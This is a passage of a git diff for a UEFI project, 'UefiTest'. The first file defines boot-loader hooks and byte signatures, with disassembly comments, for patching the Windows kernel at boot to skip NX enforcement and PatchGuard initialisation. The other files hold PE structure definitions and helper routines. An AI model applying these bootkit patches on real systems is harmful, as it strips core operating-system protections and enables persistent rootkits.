+EFI_STATUS PrintTestString( VOID ); + +// +// ImgArchEfiStartBootApplication hook +// +typedef EFI_STATUS( EFIAPI *tImgArchEfiStartBootApplication )(VOID* Parameters, VOID* ImageBase, UINT32 ImageSize, UINT8 BootOption, UINT64* SomeReturnValue); +static UINT8 sigImgArchEfiStartBootApplicationCall[] = { 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xCE, 0x8B, 0xD8, 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, 0x41 }; +VOID* ImgArchEfiStartBootApplicationPatchLocation = NULL; +UINT8 ImgArchEfiStartBootApplicationBackup[5] = { 0 }; +tImgArchEfiStartBootApplication oImgArchEfiStartBootApplication = NULL; + +// +// OslArchTransferToKernel hook +// +typedef VOID( EFIAPI *tOslArchTransferToKernel )(VOID *KernelParams, VOID *KiSystemStartup); +static UINT8 sigOslArchTransferToKernel[] = { 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, 0xEB, 0xFE }; //48 8B 45 A8 33 FF +extern VOID* OslArchTransferToKernelPatchLocation; +extern UINT8 OslArchTransferToKernelBackup[5]; +tOslArchTransferToKernel oOslArchTransferToKernel = NULL; +extern VOID* OslArchTransferToKernelHook; + +// +// Winload calls +// +UINT8 sigEfiStallCall[] = { 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, 0x0F, 0x31, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x8B }; +typedef INT64( EFIAPI *tEfiStall )(UINT64 MicroSeconds); +tEfiStall EfiStall = NULL; + +UINT8 sigEfiConOutOutputString[] = { 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, 0x85, 0xC0, 0x78, 0x05, 0x83, 0xC3, 0xFF }; +typedef INT64( EFIAPI *tEfiConOutOutputString )(VOID* ConOut, CHAR16* String); +tEfiConOutOutputString EfiConOutOutputString = NULL; + + +// +// Kernel patches +// + +// Skip setting the NoExecute bit +// KiInitializeNxSupportDiscard +// 74 ? B9 80 00 00 C0 0F 32 +// INIT:0000000140756968 loc_140756968: ; CODE XREF: KiInitializeNxSupportDiscard+8Dj +// INIT:0000000140756968 ; KiInitializeNxSupportDiscard+97j +// INIT:0000000140756968 E8 63 DB C4 FF call KiIsNXSupported +// INIT:000000014075696D 84 C0 test al, al +// INIT:000000014075696F 74 27 jz short loc_140756998 <------------ PATCH HERE TO FORCE JUMP +// INIT:0000000140756971 B9 80 00 00 C0 mov ecx, 0C0000080h +// INIT:0000000140756976 0F 32 rdmsr +// INIT:0000000140756978 48 C1 E2 20 shl rdx, 20h +// INIT:000000014075697C 48 0B C2 or rax, rdx +// INIT:000000014075697F 48 0F BA E8 0B bts rax, 0Bh +// INIT:0000000140756984 48 8B D0 mov rdx, rax +// INIT:0000000140756987 48 C1 EA 20 shr rdx, 20h +// INIT:000000014075698B 0F 30 wrmsr +// INIT:000000014075698D B0 01 mov al, 1 +// INIT:000000014075698F A2 80 02 00 00 80 F7 FF FF mov ds:0FFFFF78000000280h, al +UINT8 sigNxSetBit[] = { 0x74, 0x27, 0xB9, 0x80, 0x00, 0x00, 0xC0, 0x0F, 0x32 }; +UINTN sigNxSetBitSize = sizeof( sigNxSetBit ); + +// Skip initializing patchguard +// KeInitAmd64SpecificState +// 75 2D 0F B6 15 +// INIT:000000014074BA6C KeInitAmd64SpecificState proc near ; CODE XREF: PipInitializeCoreDriversAndElam+24p +// INIT:000000014074BA6C +// INIT:000000014074BA6C arg_0 = dword ptr 8 +// INIT:000000014074BA6C +// INIT:000000014074BA6C 48 83 EC 28 sub rsp, 28h +// INIT:000000014074BA70 83 3D 8D E1 BA FF 00 cmp cs:InitSafeBootMode, 0 +// INIT:000000014074BA77 75 2D jnz short loc_14074BAA6 <---------------------- PATCH HERE TO FORCE JUMP +// INIT:000000014074BA79 0F B6 15 42 90 BA FF movzx edx, byte ptr cs:KdDebuggerNotPresent +// INIT:000000014074BA80 0F B6 05 61 83 B7 FF movzx eax, cs:KdPitchDebugger +// INIT:000000014074BA87 0B D0 or edx, eax +// INIT:000000014074BA89 8B CA mov ecx, edx +// INIT:000000014074BA8B F7 D9 neg ecx +// INIT:000000014074BA8D 45 1B C0 sbb r8d, r8d +// INIT:000000014074BA90 41 83 E0 EE and r8d, 0FFFFFFEEh +// INIT:000000014074BA94 41 83 C0 11 add r8d, 11h +// INIT:000000014074BA98 D1 CA ror edx, 1 +// INIT:000000014074BA9A 8B C2 mov eax, edx +// INIT:000000014074BA9C 99 cdq +// INIT:000000014074BA9D 41 F7 F8 idiv r8d +// INIT:000000014074BAA0 89 44 24 30 mov [rsp+28h+arg_0], eax +// INIT:000000014074BAA4 EB 00 jmp short $+2 +// INIT:000000014074BAA6 ; --------------------------------------------------------------------------- +// INIT:000000014074BAA6 loc_14074BAA6: ; CODE XREF: KeInitAmd64SpecificState+Bj +// INIT:000000014074BAA6 ; KeInitAmd64SpecificState+38j +// INIT:000000014074BAA6 48 83 C4 28 add rsp, 28h +// INIT:000000014074BAAA C3 retn +// INIT:000000014074BAAA KeInitAmd64SpecificState endp +UINT8 sigInitPatchGuard[] = { 0x75, 0x2D, 0x0F, 0xB6, 0x15 }; +UINTN sigInitPatchGuardSize = sizeof( sigInitPatchGuard ); + diff --git a/UefiTest/imageldr.c b/UefiTest/imageldr.c new file mode 100644 index 0000000..cc68bf4 --- /dev/null +++ b/UefiTest/imageldr.c @@ -0,0 +1,23 @@ +#include "imageldr.h" + +#include +#include +#include + +EFI_STATUS ImageLoad( IN EFI_HANDLE ParentHandle, IN EFI_DEVICE_PATH* DevicePath, OUT EFI_HANDLE* ImageHandle ) +{ + EFI_STATUS status = EFI_NOT_FOUND; + // Load image in memory + status = gBS->LoadImage( TRUE, ParentHandle, DevicePath, NULL, 0, ImageHandle ); + if (status != EFI_SUCCESS) + { + Print( L"[!] LoadImage error = %X\r\n", status ); + } + + return status; +} + +EFI_STATUS ImageStart( IN EFI_HANDLE ImageHandle ) +{ + return gBS->StartImage( ImageHandle, (UINTN *)NULL, (CHAR16 **)NULL ); +} diff --git a/UefiTest/imageldr.h b/UefiTest/imageldr.h new file mode 100644 index 0000000..70e39b9 --- /dev/null +++ b/UefiTest/imageldr.h @@ -0,0 +1,7 @@ +#pragma once + +#include + +EFI_STATUS ImageLoad( IN EFI_HANDLE ParentHandle, IN EFI_DEVICE_PATH* DevicePath, OUT EFI_HANDLE* ImageHandle ); + +EFI_STATUS ImageStart( IN EFI_HANDLE ImageHandle ); \ No newline at end of file diff --git a/UefiTest/pe.c b/UefiTest/pe.c new file mode 100644 index 0000000..3d1dbbd --- /dev/null +++ b/UefiTest/pe.c @@ -0,0 +1,24 @@ +#include "pe.h" + +PIMAGE_DOS_HEADER ImageDosHeader( IN VOID* ImageBase ) +{ + PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)(ImageBase); + if (!ImageDosHeader) + return NULL; + if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + return ImageDosHeader; +} + +PIMAGE_NT_HEADERS ImageNtHeader( IN VOID* ImageBase ) +{ + PIMAGE_DOS_HEADER ImageDosHdr; + PIMAGE_NT_HEADERS ImageNtHdr; + ImageDosHdr = ImageDosHeader( ImageBase ); + if (!ImageDosHdr) + return NULL; + ImageNtHdr = (PIMAGE_NT_HEADERS)((UINT8*)ImageBase + ImageDosHdr->e_lfanew); + if (ImageNtHdr->Signature != IMAGE_NT_SIGNATURE) + return NULL; + return ImageNtHdr; +} \ No newline at end of file diff --git a/UefiTest/pe.h b/UefiTest/pe.h new file mode 100644 index 0000000..63b5ae5 --- /dev/null +++ b/UefiTest/pe.h @@ -0,0 +1,16 @@ +#pragma once + +#include "pestructs.h" + +#define IMAGE32(hdr) (hdr->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) +#define IMAGE64(hdr) (hdr->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) + +#define IMAGE_SIZE(hdr) (IMAGE64(hdr) ? ((PIMAGE_NT_HEADERS64)hdr)->OptionalHeader.SizeOfImage : ((PIMAGE_NT_HEADERS32)hdr)->OptionalHeader.SizeOfImage) + +#define HEADER_VAL_T(hdr, val) (IMAGE64(hdr) ? ((PIMAGE_NT_HEADERS64)hdr)->OptionalHeader.val : ((PIMAGE_NT_HEADERS32)hdr)->OptionalHeader.val) +#define THUNK_VAL_T(hdr, ptr, val) (IMAGE64(hdr) ? ((PIMAGE_THUNK_DATA64)ptr)->val : ((PIMAGE_THUNK_DATA32)ptr)->val) +#define DATA_DIRECTORY(hdr, idx) (IMAGE64(hdr) ? &(((PIMAGE_OPTIONAL_HEADER64)&(hdr->OptionalHeader))->DataDirectory[idx]) : &(((PIMAGE_OPTIONAL_HEADER32)&(hdr->OptionalHeader))->DataDirectory[idx])) + +PIMAGE_DOS_HEADER ImageDosHeader( IN VOID* ImageBase ); + +PIMAGE_NT_HEADERS ImageNtHeader( IN VOID* ImageBase ); \ No newline at end of file diff --git a/UefiTest/pestructs.h b/UefiTest/pestructs.h new file mode 100644 index 0000000..f94fa38 --- /dev/null +++ b/UefiTest/pestructs.h @@ -0,0 +1,453 @@ +#pragma once + +#define IMAGE_DOS_SIGNATURE 0x5A4D // MZ +#define IMAGE_NT_SIGNATURE 0x00004550 // PE00 + +#define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b +#define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b + +#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 + +#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory +#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory +#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory +#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory +#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory +#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table +#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory +// IMAGE_DIRECTORY_ENTRY_COPYRIGHT 7 // (X86 usage) +#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // Architecture Specific Data +#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA of GP +#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory +#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory +#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Bound Import Directory in headers +#define IMAGE_DIRECTORY_ENTRY_IAT 12 // Import Address Table +#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 // Delay Load Import Descriptors +#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime descriptor + +#define IMAGE_REL_BASED_ABSOLUTE 0 +#define IMAGE_REL_BASED_HIGH 1 +#define IMAGE_REL_BASED_LOW 2 +#define IMAGE_REL_BASED_HIGHLOW 3 +#define IMAGE_REL_BASED_HIGHADJ 4 +#define IMAGE_REL_BASED_MIPS_JMPADDR 5 +#define IMAGE_REL_BASED_SECTION 6 +#define IMAGE_REL_BASED_REL32 7 +#define IMAGE_REL_BASED_MIPS_JMPADDR16 9 +#define IMAGE_REL_BASED_IA64_IMM64 9 +#define IMAGE_REL_BASED_DIR64 10 + +#define IMAGE_SIZEOF_BASE_RELOCATION 8 + +#ifndef IMR_RELTYPE +#define IMR_RELTYPE(x) ((x >> 12) & 0xF) +#endif + +#ifndef IMR_RELOFFSET +#define IMR_RELOFFSET(x) (x & 0xFFF) +#endif + + +#define IMAGE_FILE_RELOCS_STRIPPED 0x0001 // Relocation info stripped from file. +#define IMAGE_FILE_EXECUTABLE_IMAGE 0x0002 // File is executable (i.e. no unresolved external references). +#define IMAGE_FILE_LINE_NUMS_STRIPPED 0x0004 // Line nunbers stripped from file. +#define IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x0008 // Local symbols stripped from file. +#define IMAGE_FILE_AGGRESIVE_WS_TRIM 0x0010 // Aggressively trim working set +#define IMAGE_FILE_LARGE_ADDRESS_AWARE 0x0020 // App can handle >2gb addresses +#define IMAGE_FILE_BYTES_REVERSED_LO 0x0080 // Bytes of machine word are reversed. +#define IMAGE_FILE_32BIT_MACHINE 0x0100 // 32 bit word machine. +#define IMAGE_FILE_DEBUG_STRIPPED 0x0200 // Debugging info stripped from file in .DBG file +#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x0400 // If Image is on removable media, copy and run from the swap file. +#define IMAGE_FILE_NET_RUN_FROM_SWAP 0x0800 // If Image is on Net, copy and run from the swap file. +#define IMAGE_FILE_SYSTEM 0x1000 // System File. +#define IMAGE_FILE_DLL 0x2000 // File is a DLL. +#define IMAGE_FILE_UP_SYSTEM_ONLY 0x4000 // File should only be run on a UP machine +#define IMAGE_FILE_BYTES_REVERSED_HI 0x8000 // Bytes of machine word are reversed. + +#define IMAGE_FILE_MACHINE_UNKNOWN 0 +#define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386. +#define IMAGE_FILE_MACHINE_R3000 0x0162 // MIPS little-endian, 0x160 big-endian +#define IMAGE_FILE_MACHINE_R4000 0x0166 // MIPS little-endian +#define IMAGE_FILE_MACHINE_R10000 0x0168 // MIPS little-endian +#define IMAGE_FILE_MACHINE_WCEMIPSV2 0x0169 // MIPS little-endian WCE v2 +#define IMAGE_FILE_MACHINE_ALPHA 0x0184 // Alpha_AXP +#define IMAGE_FILE_MACHINE_SH3 0x01a2 // SH3 little-endian +#define IMAGE_FILE_MACHINE_SH3DSP 0x01a3 +#define IMAGE_FILE_MACHINE_SH3E 0x01a4 // SH3E little-endian +#define IMAGE_FILE_MACHINE_SH4 0x01a6 // SH4 little-endian +#define IMAGE_FILE_MACHINE_SH5 0x01a8 // SH5 +#define IMAGE_FILE_MACHINE_ARM 0x01c0 // ARM Little-Endian +#define IMAGE_FILE_MACHINE_THUMB 0x01c2 // ARM Thumb/Thumb-2 Little-Endian +#define IMAGE_FILE_MACHINE_ARMNT 0x01c4 // ARM Thumb-2 Little-Endian +#define IMAGE_FILE_MACHINE_AM33 0x01d3 +#define IMAGE_FILE_MACHINE_POWERPC 0x01F0 // IBM PowerPC Little-Endian +#define IMAGE_FILE_MACHINE_POWERPCFP 0x01f1 +#define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64 +#define IMAGE_FILE_MACHINE_MIPS16 0x0266 // MIPS +#define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64 +#define IMAGE_FILE_MACHINE_MIPSFPU 0x0366 // MIPS +#define IMAGE_FILE_MACHINE_MIPSFPU16 0x0466 // MIPS +#define IMAGE_FILE_MACHINE_AXP64 IMAGE_FILE_MACHINE_ALPHA64 +#define IMAGE_FILE_MACHINE_TRICORE 0x0520 // Infineon +#define IMAGE_FILE_MACHINE_CEF 0x0CEF +#define IMAGE_FILE_MACHINE_EBC 0x0EBC // EFI Byte Code +#define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8) +#define IMAGE_FILE_MACHINE_M32R 0x9041 // M32R little-endian +#define IMAGE_FILE_MACHINE_CEE 0xC0EE + +#define IMAGE_ORDINAL_FLAG64 0x8000000000000000 +#define IMAGE_ORDINAL_FLAG32 0x80000000 +#define IMAGE_ORDINAL64(Ordinal) (Ordinal & 0xffff) +#define IMAGE_ORDINAL32(Ordinal) (Ordinal & 0xffff) +#define IMAGE_SNAP_BY_ORDINAL64(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG64) != 0) +#define IMAGE_SNAP_BY_ORDINAL32(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG32) != 0) + +// +// Section characteristics. +// +// IMAGE_SCN_TYPE_REG 0x00000000 // Reserved. +// IMAGE_SCN_TYPE_DSECT 0x00000001 // Reserved. +// IMAGE_SCN_TYPE_NOLOAD 0x00000002 // Reserved. +// IMAGE_SCN_TYPE_GROUP 0x00000004 // Reserved. +#define IMAGE_SCN_TYPE_NO_PAD 0x00000008 // Reserved. +// IMAGE_SCN_TYPE_COPY 0x00000010 // Reserved. + +#define IMAGE_SCN_CNT_CODE 0x00000020 // Section contains code. +#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 // Section contains initialized data. +#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 // Section contains uninitialized data. + +#define IMAGE_SCN_LNK_OTHER 0x00000100 // Reserved. +#define IMAGE_SCN_LNK_INFO 0x00000200 // Section contains comments or some other type of information. +// IMAGE_SCN_TYPE_OVER 0x00000400 // Reserved. +#define IMAGE_SCN_LNK_REMOVE 0x00000800 // Section contents will not become part of image. +#define IMAGE_SCN_LNK_COMDAT 0x00001000 // Section contents comdat. +// 0x00002000 // Reserved. +// IMAGE_SCN_MEM_PROTECTED - Obsolete 0x00004000 +#define IMAGE_SCN_NO_DEFER_SPEC_EXC 0x00004000 // Reset speculative exceptions handling bits in the TLB entries for this section. +#define IMAGE_SCN_GPREL 0x00008000 // Section content can be accessed relative to GP +#define IMAGE_SCN_MEM_FARDATA 0x00008000 +// IMAGE_SCN_MEM_SYSHEAP - Obsolete 0x00010000 +#define IMAGE_SCN_MEM_PURGEABLE 0x00020000 +#define IMAGE_SCN_MEM_16BIT 0x00020000 +#define IMAGE_SCN_MEM_LOCKED 0x00040000 +#define IMAGE_SCN_MEM_PRELOAD 0x00080000 + +#define IMAGE_SCN_ALIGN_1BYTES 0x00100000 // +#define IMAGE_SCN_ALIGN_2BYTES 0x00200000 // +#define IMAGE_SCN_ALIGN_4BYTES 0x00300000 // +#define IMAGE_SCN_ALIGN_8BYTES 0x00400000 // +#define IMAGE_SCN_ALIGN_16BYTES 0x00500000 // Default alignment if no others are specified. +#define IMAGE_SCN_ALIGN_32BYTES 0x00600000 // +#define IMAGE_SCN_ALIGN_64BYTES 0x00700000 // +#define IMAGE_SCN_ALIGN_128BYTES 0x00800000 // +#define IMAGE_SCN_ALIGN_256BYTES 0x00900000 // +#define IMAGE_SCN_ALIGN_512BYTES 0x00A00000 // +#define IMAGE_SCN_ALIGN_1024BYTES 0x00B00000 // +#define IMAGE_SCN_ALIGN_2048BYTES 0x00C00000 // +#define IMAGE_SCN_ALIGN_4096BYTES 0x00D00000 // +#define IMAGE_SCN_ALIGN_8192BYTES 0x00E00000 // +// Unused 0x00F00000 +#define IMAGE_SCN_ALIGN_MASK 0x00F00000 + +#define IMAGE_SCN_LNK_NRELOC_OVFL 0x01000000 // Section contains extended relocations. +#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 // Section can be discarded. +#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 // Section is not cachable. +#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 // Section is not pageable. +#define IMAGE_SCN_MEM_SHARED 0x10000000 // Section is shareable. +#define IMAGE_SCN_MEM_EXECUTE 0x20000000 // Section is executable. +#define IMAGE_SCN_MEM_READ 0x40000000 // Section is readable. +#define IMAGE_SCN_MEM_WRITE 0x80000000 // Section is writeable. + + +typedef struct _IMAGE_FILE_HEADER // Size=20 +{ + UINT16 Machine; + UINT16 NumberOfSections; + UINT32 TimeDateStamp; + UINT32 PointerToSymbolTable; + UINT32 NumberOfSymbols; + UINT16 SizeOfOptionalHeader; + UINT16 Characteristics; +} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; + +#define IMAGE_SIZEOF_SHORT_NAME 8 +typedef struct _IMAGE_SECTION_HEADER +{ + UINT8 Name[IMAGE_SIZEOF_SHORT_NAME]; + union + { + UINT32 PhysicalAddress; + UINT32 VirtualSize; + } Misc; + UINT32 VirtualAddress; + UINT32 SizeOfRawData; + UINT32 PointerToRawData; + UINT32 PointerToRelocations; + UINT32 PointerToLinenumbers; + UINT16 NumberOfRelocations; + UINT16 NumberOfLinenumbers; + UINT32 Characteristics; +} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; + +typedef struct _IMAGE_DATA_DIRECTORY +{ + UINT32 VirtualAddress; + UINT32 Size; +} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; + +// +// Optional header format. +// + +typedef struct _IMAGE_OPTIONAL_HEADER32 +{ + UINT16 Magic; + UINT8 MajorLinkerVersion; + UINT8 MinorLinkerVersion; + UINT32 SizeOfCode; + UINT32 SizeOfInitializedData; + UINT32 SizeOfUninitializedData; + UINT32 AddressOfEntryPoint; + UINT32 BaseOfCode; + UINT32 BaseOfData; + UINT32 ImageBase; + UINT32 SectionAlignment; + UINT32 FileAlignment; + UINT16 MajorOperatingSystemVersion; + UINT16 MinorOperatingSystemVersion; + UINT16 MajorImageVersion; + UINT16 MinorImageVersion; + UINT16 MajorSubsystemVersion; + UINT16 MinorSubsystemVersion; + UINT32 Win32VersionValue; + UINT32 SizeOfImage; + UINT32 SizeOfHeaders; + UINT32 CheckSum; + UINT16 Subsystem; + UINT16 DllCharacteristics; + UINT32 SizeOfStackReserve; + UINT32 SizeOfStackCommit; + UINT32 SizeOfHeapReserve; + UINT32 SizeOfHeapCommit; + UINT32 LoaderFlags; + UINT32 NumberOfRvaAndSizes; + struct _IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; +} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; + +typedef struct _IMAGE_ROM_OPTIONAL_HEADER +{ + UINT16 Magic; + UINT8 MajorLinkerVersion; + UINT8 MinorLinkerVersion; + UINT32 SizeOfCode; + UINT32 SizeOfInitializedData; + UINT32 SizeOfUninitializedData; + UINT32 AddressOfEntryPoint; + UINT32 BaseOfCode; + UINT32 BaseOfData; + UINT32 BaseOfBss; + UINT32 GprMask; + UINT32 CprMask[4]; + UINT32 GpValue; +} IMAGE_ROM_OPTIONAL_HEADER, *PIMAGE_ROM_OPTIONAL_HEADER; + +typedef struct _IMAGE_OPTIONAL_HEADER64 +{ + UINT16 Magic; + UINT8 MajorLinkerVersion; + UINT8 MinorLinkerVersion; + UINT32 SizeOfCode; + UINT32 SizeOfInitializedData; + UINT32 SizeOfUninitializedData; + UINT32 AddressOfEntryPoint; + UINT32 BaseOfCode; + UINT64 ImageBase; + UINT32 SectionAlignment; + UINT32 FileAlignment; + UINT16 MajorOperatingSystemVersion; + UINT16 MinorOperatingSystemVersion; + UINT16 MajorImageVersion; + UINT16 MinorImageVersion; + UINT16 MajorSubsystemVersion; + UINT16 MinorSubsystemVersion; + UINT32 Win32VersionValue; + UINT32 SizeOfImage; + UINT32 SizeOfHeaders; + UINT32 CheckSum; + UINT16 Subsystem; + UINT16 DllCharacteristics; + UINT64 SizeOfStackReserve; + UINT64 SizeOfStackCommit; + UINT64 SizeOfHeapReserve; + UINT64 SizeOfHeapCommit; + UINT32 LoaderFlags; + UINT32 NumberOfRvaAndSizes; + struct _IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; +} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; + +typedef struct _IMAGE_DOS_HEADER +{ // DOS .EXE header + UINT16 e_magic; // 0x0 // Magic number + UINT16 e_cblp; // 0x2 // Bytes on last page of file + UINT16 e_cp; // 0x4 // Pages in file + UINT16 e_crlc; // 0x6 // Relocations + UINT16 e_cparhdr; // 0x8 // Size of header in paragraphs + UINT16 e_minalloc; // 0xA // Minimum extra paragraphs needed + UINT16 e_maxalloc; // 0xC // Maximum extra paragraphs needed + UINT16 e_ss; // 0xE // Initial (relative) SS value + UINT16 e_sp; // 0x10 // Initial SP value + UINT16 e_csum; // 0x12 // Checksum + UINT16 e_ip; // 0x14 // Initial IP value + UINT16 e_cs; // 0x16 // Initial (relative) CS value + UINT16 e_lfarlc; // 0x18 // File address of relocation table + UINT16 e_ovno; // 0x1A // Overlay number + UINT16 e_res[4]; // 0x1C // Reserved words + UINT16 e_oemid; // 0x24 // OEM identifier (for e_oeminfo) + UINT16 e_oeminfo; // 0x26 // OEM information; e_oemid specific + UINT16 e_res2[10]; // 0x28 // Reserved words + INT32 e_lfanew; // 0x3C // File address of new exe header +} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; + +typedef struct _IMAGE_NT_HEADERS64 +{ + UINT32 Signature; // 0x0 + struct _IMAGE_FILE_HEADER FileHeader; // 0x4 + struct _IMAGE_OPTIONAL_HEADER64 OptionalHeader; // 0x18 +} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64; + +typedef struct _IMAGE_NT_HEADERS +{ + UINT32 Signature; // 0x0 + struct _IMAGE_FILE_HEADER FileHeader; // 0x4 + struct _IMAGE_OPTIONAL_HEADER32 OptionalHeader; // 0x18 +} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32; + +#ifdef _WIN64 +typedef PIMAGE_NT_HEADERS64 PIMAGE_NT_HEADERS; +#else +typedef PIMAGE_NT_HEADERS32 PIMAGE_NT_HEADERS; +#endif + +typedef struct _IMAGE_EXPORT_DIRECTORY +{ + UINT32 Characteristics; + UINT32 TimeDateStamp; + UINT16 MajorVersion; + UINT16 MinorVersion; + UINT32 Name; + UINT32 Base; + UINT32 NumberOfFunctions; + UINT32 NumberOfNames; + UINT32 AddressOfFunctions; // RVA from base of image + UINT32 AddressOfNames; // RVA from base of image + UINT32 AddressOfNameOrdinals; // RVA from base of image +} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; + +typedef struct _IMAGE_BASE_RELOCATION +{ + UINT32 VirtualAddress; + UINT32 SizeOfBlock; + // UINT16 TypeOffset[1]; +} IMAGE_BASE_RELOCATION; +typedef IMAGE_BASE_RELOCATION __unaligned *PIMAGE_BASE_RELOCATION; + +typedef struct _IMAGE_IMPORT_BY_NAME +{ + UINT16 Hint; + char Name[1]; +} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; + +// warning C4201: nonstandard extension used : nameless struct/union +#pragma warning (disable : 4201) + +typedef struct _IMAGE_IMPORT_DESCRIPTOR +{ + union + { + UINT32 Characteristics; // 0 for terminating null import descriptor + UINT32 OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) + }; + UINT32 TimeDateStamp; // 0 if not bound, + // -1 if bound, and real date\time stamp + // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) + // O.W. date/time stamp of DLL bound to (Old BIND) + + UINT32 ForwarderChain; // -1 if no forwarders + UINT32 Name; + UINT32 FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) +} IMAGE_IMPORT_DESCRIPTOR; +typedef IMAGE_IMPORT_DESCRIPTOR __unaligned *PIMAGE_IMPORT_DESCRIPTOR; + +typedef struct _IMAGE_THUNK_DATA64 +{ + union + { + UINT64 ForwarderString; // PBYTE + UINT64 Function; // PULONG + UINT64 Ordinal; + UINT64 AddressOfData; // PIMAGE_IMPORT_BY_NAME + } u1; +} IMAGE_THUNK_DATA64; +typedef IMAGE_THUNK_DATA64 * PIMAGE_THUNK_DATA64; +typedef PIMAGE_THUNK_DATA64 PIMAGE_THUNK_DATA; + +typedef struct _IMAGE_THUNK_DATA32 +{ + union + { + UINT32 ForwarderString; // PBYTE + UINT32 Function; // PULONG + UINT32 Ordinal; + UINT32 AddressOfData; // PIMAGE_IMPORT_BY_NAME + } u1; +} IMAGE_THUNK_DATA32; +typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32; + + +// +// Thread Local Storage +// + +typedef VOID( EFIAPI *PIMAGE_TLS_CALLBACK )(VOID* DllHandle, UINT32 Reason, VOID* Reserved); + +typedef struct _IMAGE_TLS_DIRECTORY64 +{ + UINT64 StartAddressOfRawData; + UINT64 EndAddressOfRawData; + UINT64 AddressOfIndex; // PULONG + UINT64 AddressOfCallBacks; // PIMAGE_TLS_CALLBACK *; + UINT32 SizeOfZeroFill; + union + { + UINT32 Characteristics; + struct + { + UINT32 Reserved0 : 20; + UINT32 Alignment : 4; + UINT32 Reserved1 : 8; + }; + }; + +} IMAGE_TLS_DIRECTORY64; +typedef IMAGE_TLS_DIRECTORY64 * PIMAGE_TLS_DIRECTORY64; + +typedef struct _IMAGE_TLS_DIRECTORY32 +{ + UINT32 StartAddressOfRawData; + UINT32 EndAddressOfRawData; + UINT32 AddressOfIndex; // PULONG + UINT32 AddressOfCallBacks; // PIMAGE_TLS_CALLBACK * + UINT32 SizeOfZeroFill; + union + { + UINT32 Characteristics; + struct + { + UINT32 Reserved0 : 20; + UINT32 Alignment : 4; + UINT32 Reserved1 : 8; + }; + }; + +} IMAGE_TLS_DIRECTORY32; +typedef IMAGE_TLS_DIRECTORY32 * PIMAGE_TLS_DIRECTORY32; \ No newline at end of file diff --git a/UefiTest/utils.c b/UefiTest/utils.c new file mode 100644 index 0000000..bbb3a67 --- /dev/null +++ b/UefiTest/utils.c @@ -0,0 +1,97 @@ +#include "utils.h" + +// Libraries +#include +#include +// Protocols +#include + +VOID UtilPrintLoadedImageInfo( IN EFI_LOADED_IMAGE *ImageInfo ) +{ + Print( L"\r\n[+] %s\r\n", ConvertDevicePathToText( ImageInfo->FilePath, TRUE, TRUE ) ); + Print( L" ->ImageBase = %lx\r\n", ImageInfo->ImageBase ); + Print( L" ->ImageSize = %lx\r\n", ImageInfo->ImageSize ); +} + +VOID UtilWaitForKey( VOID ) +{ + UINTN index = 0; + EFI_INPUT_KEY key = { 0 }; + gBS->WaitForEvent( 1, &gST->ConIn->WaitForKey, &index ); + gST->ConIn->ReadKeyStroke( gST->ConIn, &key ); +} + +EFI_STATUS UtilLocateFile( IN CHAR16* ImagePath, OUT EFI_DEVICE_PATH** 